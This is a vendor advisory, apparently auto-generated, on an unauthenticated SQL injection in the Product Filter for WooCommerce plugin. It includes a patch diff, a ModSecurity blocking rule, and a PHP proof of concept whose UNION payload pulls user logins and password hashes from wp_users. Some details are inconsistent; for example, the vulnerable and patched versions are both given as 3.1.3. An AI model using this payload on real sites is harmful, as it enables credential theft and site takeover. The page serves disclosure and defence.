Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 26, 2026

CVE-2026-3830: Product Filter for WooCommerce by WBW < 3.1.3 – Unauthenticated SQL Injection (woo-product-filter)

CVE ID CVE-2026-3830
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 3.1.3
Patched Version 3.1.3
Disclosed April 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3830: The Product Filter for WooCommerce by WBW plugin, versions up to 3.1.3, contains an unauthenticated SQL injection vulnerability. This vulnerability allows remote attackers to append malicious SQL queries into existing database queries. The injection occurs in the woofilters module’s taxonomy term retrieval function. The vulnerability has a CVSS score of 7.5, indicating high severity.

The root cause is insufficient escaping and lack of parameterized queries in the ‘woo-product-filter/modules/woofilters/mod.php’ file, specifically in the method that handles filter blocks. The vulnerable code is at lines 4012-4139 of the mod.php file. The function constructs a SQL query using data from the $taxonomyList array. In the vulnerable version, line 4069 uses ‘implode( “‘, ‘”, $taxonomyList )’ to concatenate taxonomy slugs directly into the query string. This string is then inserted directly into the SQL WHERE clause on line 4137: ‘$sql[ $key ] .= ” WHERE tt.taxonomy IN (‘” . $addSql[‘taxonomyList’] . “‘)”;’. An attacker controls the taxonomy slugs through the filter parameters, allowing injection of arbitrary SQL.

The exploitation method does not require authentication. An attacker sends a crafted HTTP request to the WordPress AJAX endpoint at ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to one of the registered nopriv actions like ‘getTaxonomyTerms’ or ‘filtersFrontend’. The attacker includes a payload in the taxonomy parameter, such as a filter dropdown value. The injected payload breaks out of the single-quote string context and appends a UNION-based SQL query. For example, a parameter like ‘category[]=1) UNION SELECT user_login,user_pass FROM wp_users– -‘ would execute arbitrary SQL.

The patch, in version 3.1.3, replaces the unsafe string concatenation with a parameterized query. The vulnerable line ‘implode(“‘, ‘”, $taxonomyList)’ is replaced with ‘$taxonomyListFormatter = implode( ‘,’, array_fill( 0, count( $taxonomyList ), ‘%s’ ) );’ and ‘$addSqls[‘main’][‘taxonomyList’] = $wpdb->prepare( $taxonomyListFormatter, …$taxonomyList );’. The SQL query construction on line 4137 changes from direct string interpolation to placing the prepared placeholder string. This ensures user-supplied values are properly escaped by WordPress’s database abstraction layer, preventing SQL injection.

If exploited, this vulnerability allows an unauthenticated attacker to extract sensitive information from the WordPress database. An attacker can retrieve user credentials (usernames and password hashes), session tokens, configuration details, and potentially other sensitive data from any table. This can lead to complete site compromise if the attacker cracks weak password hashes and gains administrative access. The impact includes data breach, privilege escalation, and full site takeover.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woo-product-filter/classes/controller.php
+++ b/woo-product-filter/classes/controller.php
@@ -1,4 +1,14 @@
 <?php
+/**
+ * Product Filter by WBW - ControllerWpf Class
+ *
+ * @version 3.1.3
+ *
+ * @author  woobewoo
+ */
+
+defined( 'ABSPATH' ) || exit;
+
 abstract class ControllerWpf {
 	protected $_models = array();
 	protected $_views = array();
@@ -58,7 +68,7 @@
 			//if (importWpf($parentModule->getModDir() . 'models' . DS . $name . '.php')) {
 			$className = toeGetClassNameWpf($name . 'Model');
 		}
-
+
 		if ($className) {
 			$model = new $className();
 			$model->setCode( $this->getCode() );
@@ -77,7 +87,7 @@
 			//if (importWpf($parentModule->getModDir() . 'views' . DS . $name . '.php')) {
 			$className = toeGetClassNameWpf($name . 'View');
 		}
-
+
 		if ($className) {
 			$view = new $className();
 			$view->setCode( $this->getCode() );
@@ -94,7 +104,21 @@
 			$view->display();
 		}
 	}
+
+	/**
+	 * Magic method: __call
+	 *
+	 * @version 3.1.3
+	 *
+	 * @param $name
+	 * @param $arguments
+	 */
 	public function __call( $name, $arguments ) {
+		$blockedMethods = array( 'delete', 'clear', 'removeGroup' );
+		if ( in_array( $name, $blockedMethods, true ) ) {
+			return false;
+		}
+
 		$model = $this->getModel();
 		if (method_exists($model, $name)) {
 			return $model->$name($arguments[0]);
@@ -216,7 +240,7 @@
 		if (!current_user_can('manage_options')) {
 			wp_die();
 		}
-
+
 		$res = new ResponseWpf();
 		if ($this->getModel()->removeGroup(ReqWpf::getVar('listIds', 'post'))) {
 			$res->addMessage(esc_html__('Done', 'woo-product-filter'));
--- a/woo-product-filter/classes/frame.php
+++ b/woo-product-filter/classes/frame.php
@@ -2,7 +2,7 @@
 /**
  * Product Filter by WBW - FrameWpf Class
  *
- * @version 3.0.4
+ * @version 3.1.3
  *
  * @author  woobewoo
  */
@@ -256,7 +256,7 @@
 	/**
 	 * Check permissions for action in controller by $code and made corresponding action.
 	 *
-	 * @version 3.0.4
+	 * @version 3.1.3
 	 *
 	 * @param string $code Code of controller that need to be checked
 	 * @param string $action Action that need to be checked
@@ -266,41 +266,43 @@
 		if ($this->havePermissions($code, $action)) {
 			return true;
 		} else {
-			exit(esc_html__('You have no permissions to view this page', 'woo-product-filter'));
+			wp_send_json_error(
+				array( 'message' => esc_html__( 'You have no permissions to view this page', 'woo-product-filter' ) ),
+				403
+			);
 		}
 	}

 	/**
 	 * Check permissions for action in controller by $code.
 	 *
+	 * @version 3.1.3
+	 *
 	 * @param string $code Code of controller that need to be checked
 	 * @param string $action Action that need to be checked
 	 * @return bool true if ok, else - false
 	 */
 	public function havePermissions( $code, $action ) {
-		$res = true;
+		$res = false;
 		$mod = $this->getModule($code);
 		$action = strtolower($action);
 		if ($mod) {
 			$permissions = $mod->getController()->getPermissions();
 			if (!empty($permissions)) { // Special permissions
 				if (isset($permissions[WPF_METHODS]) && !empty($permissions[WPF_METHODS])) {
-					foreach ($permissions[WPF_METHODS] as $method => $permissions) {   // Make case-insensitive
-						$permissions[WPF_METHODS][strtolower($method)] = $permissions;
+					foreach ($permissions[WPF_METHODS] as $method => $permission) {   // Make case-insensitive
+						$permissions[WPF_METHODS][strtolower($method)] = $permission;
 					}
 					if (array_key_exists($action, $permissions[WPF_METHODS])) {        // Permission for this method exists
 						$currentUserPosition = self::_()->getModule('user')->getCurrentUserPosition();
 						if (
+							is_array($permissions[ WPF_METHODS ][ $action ] ) &&
 							(
-								is_array($permissions[ WPF_METHODS ][ $action ] ) &&
-								!in_array($currentUserPosition, $permissions[ WPF_METHODS ][ $action ])
-							) ||
-							(
-								!is_array($permissions[ WPF_METHODS ][ $action ]) &&
-								$permissions[WPF_METHODS][$action] != $currentUserPosition
+								in_array($currentUserPosition, $permissions[ WPF_METHODS ][ $action ]) ||
+								$permissions[WPF_METHODS][$action] === $currentUserPosition
 							)
 						) {
-							$res = false;
+							$res = true;
 						}
 					}
 				}
@@ -314,16 +316,16 @@
 						if (is_array($methods)) {
 							$lowerMethods = array_map('strtolower', $methods);           // Make case-insensitive
 							if (in_array($action, $lowerMethods)) {                      // Permission for this method exists
-								if ($currentUserPosition != $userlevel) {
-									$res = false;
+								if ($currentUserPosition === $userlevel) {
+									$res = true;
 								}
 								break;
 							}
 						} else {
 							$lowerMethod = strtolower($methods);             // Make case-insensitive
 							if ($lowerMethod == $action) {                   // Permission for this method exists
-								if ($currentUserPosition != $userlevel) {
-									$res = false;
+								if ($currentUserPosition === $userlevel) {
+									$res = true;
 								}
 								break;
 							}
@@ -406,14 +408,19 @@

 	/**
 	 * _doExec.
+	 *
+	 * @version 3.1.3
 	 */
 	protected function _doExec() {
 		$mod = $this->getModule($this->_mod);
 		if ($mod && $this->checkPermissions($this->_mod, $this->_action)) {
 			switch (ReqWpf::getVar('reqType')) {
 				case 'ajax':
-					add_action('wp_ajax_'        . $this->_action, array($mod->getController(), $this->_action));
-					add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));
+					add_action('wp_ajax_' . $this->_action, array($mod->getController(), $this->_action));
+					$noprivActions = array( 'filtersFrontend', 'getTaxonomyTerms' );
+					if ( in_array( $this->_action, $noprivActions ) ) {
+						add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));
+					}
 					break;
 				default:
 					$this->_res = $mod->exec($this->_action);
--- a/woo-product-filter/classes/modInstaller.php
+++ b/woo-product-filter/classes/modInstaller.php
@@ -1,16 +1,40 @@
 <?php
+/**
+ * Product Filter by WBW - ModInstallerWpf Class
+ *
+ * Handles the installation, activation, deactivation, and management of modules for the plugin.
+ *
+ * @version 3.1.3
+ *
+ * @author  woobewoo
+ */
+
+defined( 'ABSPATH' ) || exit;
+
 class ModInstallerWpf {
+
+	/**
+	 * _current.
+	 */
 	private static $_current = array();
+
+	/**
+	 * extPlugName.
+	 */
 	private static $extPlugName = '';
+
 	/**
-	 * Install new ModuleWpf into plugin
+	 * Install new ModuleWpf into plugin.
+	 *
+	 * @version 3.1.3
 	 *
 	 * @param string $module new ModuleWpf data (@see classes/tables/modules.php)
 	 * @param string $path path to the main plugin file from what module is installed
 	 * @return bool true - if install success, else - false
 	 */
 	public static function install( $module, $path ) {
-		$exPlugDest = explode('plugins', $path);
+		$plugin_dir = basename( untrailingslashit( WP_PLUGIN_DIR ) );
+		$exPlugDest = explode( $plugin_dir, $path );
 		if (!empty($exPlugDest[1])) {
 			$module['ex_plug_dir'] = str_replace(DS, '', $exPlugDest[1]);
 		}
@@ -21,7 +45,7 @@
 				if (empty($module['ex_plug_dir'])) {
 					$filesMoved = self::moveFiles($module['code'], $path);
 				} else {
-					$filesMoved = true;     //Those modules doesn't need to move their files
+					$filesMoved = true; // Those modules doesn't need to move their files
 				}
 				if ($filesMoved) {
 					if (FrameWpf::_()->getTable('modules')->exists($module['code'], 'code')) {
@@ -45,6 +69,10 @@
 		}
 		return false;
 	}
+
+	/**
+	 * _runModuleInstall.
+	 */
 	protected static function _runModuleInstall( $module, $action = 'install' ) {
 		$moduleLocationDir = WPF_MODULES_DIR;
 		if (!empty($module['ex_plug_dir'])) {
@@ -52,7 +80,6 @@
 		}
 		if (is_dir($moduleLocationDir . $module['code'])) {
 			if (!class_exists($module['code'] . strFirstUpWpf(WPF_CODE))) {
-				//importClassWpf($module['code'] . strFirstUpWpf(WPF_CODE), $moduleLocationDir . $module['code'] . DS . 'mod.php');
 				if (file_exists($moduleLocationDir . $module['code'] . DS . 'mod.php')) {
 					require $moduleLocationDir . $module['code'] . DS . 'mod.php';
 				}
@@ -64,8 +91,9 @@
 			}
 		}
 	}
+
 	/**
-	 * Check whether is or no module in given path
+	 * Check whether is or no module in given path.
 	 *
 	 * @param string $path path to the module
 	 * @return bool true if it is module, else - false
@@ -73,8 +101,9 @@
 	public static function isModule( $path ) {
 		return true;
 	}
+
 	/**
-	 * Move files to plugin modules directory
+	 * Move files to plugin modules directory.
 	 *
 	 * @param string $code code for module
 	 * @param string $path path from what module will be moved
@@ -93,13 +122,17 @@
 		}
 		return false;
 	}
+
+	/**
+	 * _getPluginLocations.
+	 */
 	private static function _getPluginLocations() {
 		$locations = array();
 		$plug = ReqWpf::getVar('plugin');
 		if ( ( empty( $plug ) || is_array($plug) ) && !empty(self::$extPlugName) ) {
 			$plug = self::$extPlugName;
 		}
-
+
 		if ( empty( $plug ) ) {
 			$plug = ReqWpf::getVar( 'checked' );
 			if ( isset( $plug[0] ) ) {
@@ -119,7 +152,7 @@
 	}

 	/**
-	 * Try to parse xml file with module data
+	 * Try to parse xml file with module data.
 	 *
 	 * @param string $xmlPath
 	 *
@@ -155,8 +188,9 @@
 		}
 		return $modDataArr;
 	}
+
 	/**
-	 * Check whether modules is installed or not, if not and must be activated - install it
+	 * Check whether modules is installed or not, if not and must be activated - install it.
 	 *
 	 * @param array $codes array with modules data to store in database
 	 * @param string $path path to plugin file where modules is stored (__FILE__ for example)
@@ -174,10 +208,10 @@
 		$modules = self::_getModulesFromXml($locations['xmlPath']);
 		foreach ($modules as $modDataArr) {
 			if (!empty($modDataArr)) {
-				//If module Exists - just activate it, we can't check this using FrameWpf::moduleExists because this will not work for multy-site WP
+				// If module Exists - just activate it, we can't check this using FrameWpf::moduleExists because this will not work for multi-site WP
 				if (FrameWpf::_()->getTable('modules')->exists($modDataArr['code'], 'code')) {
 					self::activate($modDataArr);
-					//  if not - install it
+					// if not - install it
 				} else {
 					$m = '';
 					if (!self::install($modDataArr, $locations['plugDir'])) {
@@ -195,14 +229,16 @@
 		update_option(WPF_CODE . '_full_installed', 1);
 		return true;
 	}
+
 	/**
-	 * Public alias for _getCheckRegPlugs()
-	 * We will run this each time plugin start to check modules activation messages
+	 * Public alias for _getCheckRegPlugs().
+	 * We will run this each time plugin start to check modules activation messages.
 	 */
 	public static function checkActivationMessages() {
 	}
+
 	/**
-	 * Deactivate module after deactivating external plugin
+	 * Deactivate module after deactivating external plugin.
 	 */
 	public static function deactivate( $exclude = array() ) {
 		$locations = self::_getPluginLocations();
@@ -212,7 +248,7 @@
 		}

 		foreach ($modules as $modDataArr) {
-			if (FrameWpf::_()->moduleActive($modDataArr['code']) && !in_array($modDataArr['code'], $exclude)) { //If module is active - then deacivate it
+			if (FrameWpf::_()->moduleActive($modDataArr['code']) && !in_array($modDataArr['code'], $exclude)) { // If module is active - then deactivate it
 				if (FrameWpf::_()->getModule('options')->getModel('modules')->put(array(
 					'id' => FrameWpf::_()->getModule($modDataArr['code'])->getID(),
 					'active' => 0,
@@ -228,11 +264,15 @@
 		}
 		return true;
 	}
+
+	/**
+	 * activate.
+	 */
 	public static function activate( $modDataArr ) {
 		$locations = self::_getPluginLocations();
 		$modules = self::_getModulesFromXml($locations['xmlPath']);
 		foreach ($modules as $modDataArr) {
-			if (!FrameWpf::_()->moduleActive($modDataArr['code'])) { //If module is not active - then acivate it
+			if (!FrameWpf::_()->moduleActive($modDataArr['code'])) { // If module is not active - then activate it
 				if (FrameWpf::_()->getModule('options')->getModel('modules')->put(array(
 					'code' => $modDataArr['code'],
 					'active' => 1,
@@ -247,9 +287,10 @@
 				}
 			}
 		}
-	}
+	}
+
 	/**
-	 * Display all errors for module installer, must be used ONLY if You realy need it
+	 * Display all errors for module installer, must be used ONLY if You really need it.
 	 */
 	public static function displayErrors( $exit = true ) {
 		$errors = ErrorsWpf::get(ErrorsWpf::MOD_INSTALL);
@@ -260,6 +301,10 @@
 			exit();
 		}
 	}
+
+	/**
+	 * uninstall.
+	 */
 	public static function uninstall() {
 		$isPro = false;
 		$locations = self::_getPluginLocations();
@@ -278,9 +323,17 @@
 			self::uninstallLicense();
 		}
 	}
+
+	/**
+	 * uninstallLicense.
+	 */
 	public static function uninstallLicense() {
 		FrameWpf::_()->getModule('options')->getModel()->save('license_save_name', '');
 	}
+
+	/**
+	 * _uninstallTables.
+	 */
 	protected static function _uninstallTables( $module ) {
 		if (is_dir(WPF_MODULES_DIR . $module['code'] . DS . 'tables')) {
 			$tableFiles = UtilsWpf::getFilesList(WPF_MODULES_DIR . $module['code'] . DS . 'tables');
@@ -294,8 +347,12 @@
 			}
 		}
 	}
+
+	/**
+	 * _installTables.
+	 */
 	public static function _installTables( $module, $action = 'install' ) {
-		$modDir = empty($module['ex_plug_dir']) ? WPF_MODULES_DIR . $module['code'] . DS : UtilsWpf::getPluginDir($module['ex_plug_dir']) . $module['code'] . DS;
+		$modDir = empty($module['ex_plug_dir']) ? WPF_MODULES_DIR . $module['code'] . DS : UtilsWpf::getPluginDir($module['ex_plug_dir']) . $module['code'] . DS;
 		if (is_dir($modDir . 'tables')) {
 			$tableFiles = UtilsWpf::getFilesList($modDir . 'tables');
 			if (!empty($tableFiles)) {
--- a/woo-product-filter/config.php
+++ b/woo-product-filter/config.php
@@ -62,7 +62,7 @@
 define('WPF_EOL', "n");

 define('WPF_PLUGIN_INSTALLED', true);
-define('WPF_VERSION', '3.1.2');
+define('WPF_VERSION', '3.1.3');
 define('WPF_PRO_REQUIRES', '2.0.0');
 define('WPF_USER', 'user');

--- a/woo-product-filter/modules/meta/controller.php
+++ b/woo-product-filter/modules/meta/controller.php
@@ -1,8 +1,18 @@
 <?php
+/**
+ * Product Filter by WBW - MetaControllerWpf Class
+ *
+ * @version 3.1.3
+ *
+ * @author  woobewoo
+ */
+
+defined( 'ABSPATH' ) || exit;
+
 class MetaControllerWpf extends ControllerWpf {

 	protected $_code = 'meta';
-
+
 	public function doMetaIndexingFree() {
 		return $this->doMetaIndexing(false);
 	}
@@ -46,4 +56,22 @@
 		}
 		return $res->ajaxExec();
 	}
+
+	/**
+	 * getPermissions.
+	 *
+	 * @version 3.1.3
+	 * @since   3.1.3
+	 *
+	 * @return array
+	 */
+	public function getPermissions() {
+		return array(
+			WPF_USERLEVELS => array(
+				WPF_ADMIN => array(
+					'doMetaIndexingFree', 'doMetaIndexing', 'doMetaOptimizing',
+				)
+			),
+		);
+	}
 }
--- a/woo-product-filter/modules/woofilters/controller.php
+++ b/woo-product-filter/modules/woofilters/controller.php
@@ -2,7 +2,7 @@
 /**
  * Product Filter by WBW - WoofiltersControllerWpf Class
  *
- * @version 3.1.1
+ * @version 3.1.3
  *
  * @author  woobewoo
  */
@@ -1151,4 +1151,39 @@

 		return $args;
 	}
+
+	/**
+	 * getPermissions.
+	 *
+	 * @version 3.1.3
+	 * @since   3.1.3
+	 *
+	 * @return array
+	 */
+	public function getPermissions() {
+		return array(
+			WPF_METHODS => array(
+				'getListForTbl' => array(
+					WPF_ADMIN
+				),
+				'save' => array(
+					WPF_ADMIN
+				),
+				'removeGroup' => array(
+					WPF_ADMIN
+				),
+				'deleteByID' => array(
+					WPF_ADMIN
+				),
+				'drawFilterAjax' => array(
+					WPF_ADMIN
+				),
+				'filtersFrontend' => array(
+					WPF_GUEST,
+					WPF_ADMIN,
+					WPF_LOGGED
+				),
+			),
+		);
+	}
 }
--- a/woo-product-filter/modules/woofilters/mod.php
+++ b/woo-product-filter/modules/woofilters/mod.php
@@ -2,7 +2,7 @@
 /**
  * Product Filter by WBW - WoofiltersWpf Class
  *
- * @version 3.0.2
+ * @version 3.1.3
  *
  * @author  woobewoo
  */
@@ -4012,7 +4012,7 @@
 	/**
 	 * Returns items in filter blocks.
 	 *
-	 * @version 2.9.4
+	 * @version 3.1.3
 	 *
 	 * @param $filterLoop
 	 * @param $param
@@ -4066,7 +4066,9 @@
 		if ( ! empty( $taxonomyList ) ) {
 			$addSqls['main']['withCount']    = $param['withCount'];
 			$addSqls['main']['fields']       = ( $param['withCount'] ? '' : 'DISTINCT ' ) . 'tr.term_taxonomy_id, tt.term_id, tt.taxonomy, tt.parent' . ( $param['withCount'] ? ', COUNT(*) as cnt' : '' );
-			$addSqls['main']['taxonomyList'] = implode( "', '", $taxonomyList );
+
+			$taxonomyListFormatter           = implode( ',', array_fill( 0, count( $taxonomyList ), '%s' ) );
+			$addSqls['main']['taxonomyList'] = $wpdb->prepare( $taxonomyListFormatter, ...$taxonomyList );

 			if ( $byVariations ) {
 				$attrTaxonomyList = array();
@@ -4137,7 +4139,7 @@
 				$sql[ $key ] .= ' INNER JOIN ' . $wpdb->terms . ' ttt ON (ttt.term_id=tt.term_id) ' . $typeJoin;
 			}

-			$sql[ $key ] .= ' WHERE tt.taxonomy IN ('' . $addSql['taxonomyList'] . '')';
+			$sql[ $key ] .= ' WHERE tt.taxonomy IN ( ' . $addSql['taxonomyList'] . ' )';

 			if ( $byVariations ) {
 				$sql[ $key ] .= ' AND (md_type.val_id!=' . $variableMetaId .
--- a/woo-product-filter/woo-product-filter.php
+++ b/woo-product-filter/woo-product-filter.php
@@ -3,14 +3,14 @@
  * Plugin Name: Product Filter for WooCommerce by WBW
  * Plugin URI: https://woobewoo.com/product/woocommerce-filter/
  * Description: Filter products in your store in most efficient way
- * Version: 3.1.2
+ * Version: 3.1.3
  * Author: woobewoo
  * Author URI: https://woobewoo.com/
  * Requires at least: 3.4.0
  * Text Domain: woo-product-filter
  * Domain Path: /languages
  * WC requires at least: 3.4.1
- * WC tested up to: 10.5
+ * WC tested up to: 10.6
  * Requires Plugins: woocommerce
  **/

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263830,phase:2,deny,status:403,chain,msg:'CVE-2026-3830 via Product Filter for WooCommerce by WBW AJAX',severity:'CRITICAL',tag:'CVE-2026-3830',t:none"
  SecRule ARGS_POST:action "@rx ^(filtersFrontend|getTaxonomyTerms)$" 
    "chain,t:none"
    SecRule ARGS_POST:taxonomy "@rx (?:bUNIONb|bSELECTb|bDROPb|bINSERTb|bDELETEb|bUPDATEb|'s*ORs*'|'s*ANDs*')" 
      "t:none,t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3830 - Product Filter for WooCommerce by WBW < 3.1.3 - Unauthenticated SQL Injection

$target_url = 'http://example.com'; // Replace with target WordPress URL

$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Step 1: Prepare the SQL injection payload
// This payload extracts all usernames and password hashes from the wp_users table
$sql_payload = "1') UNION SELECT user_login,user_pass,user_email,display_name FROM wp_users-- -";

// Step 2: Build the POST data for the vulnerable AJAX action
// The action 'filtersFrontend' or 'getTaxonomyTerms' does not require authentication
$post_data = array(
    'action' => 'filtersFrontend',
    'taxonomy' => array(
        $sql_payload
    ),
    'filter_id' => 1,
    'byVariations' => 0,
    'withCount' => 0
);

// Step 3: Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge CVE PoC');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded'
));

// Step 4: Execute the request and output the response
$response = curl_exec($ch);

if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "=== SQL Injection Response ===n";
    echo $response . "n";
    echo "=== End of Response ===n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School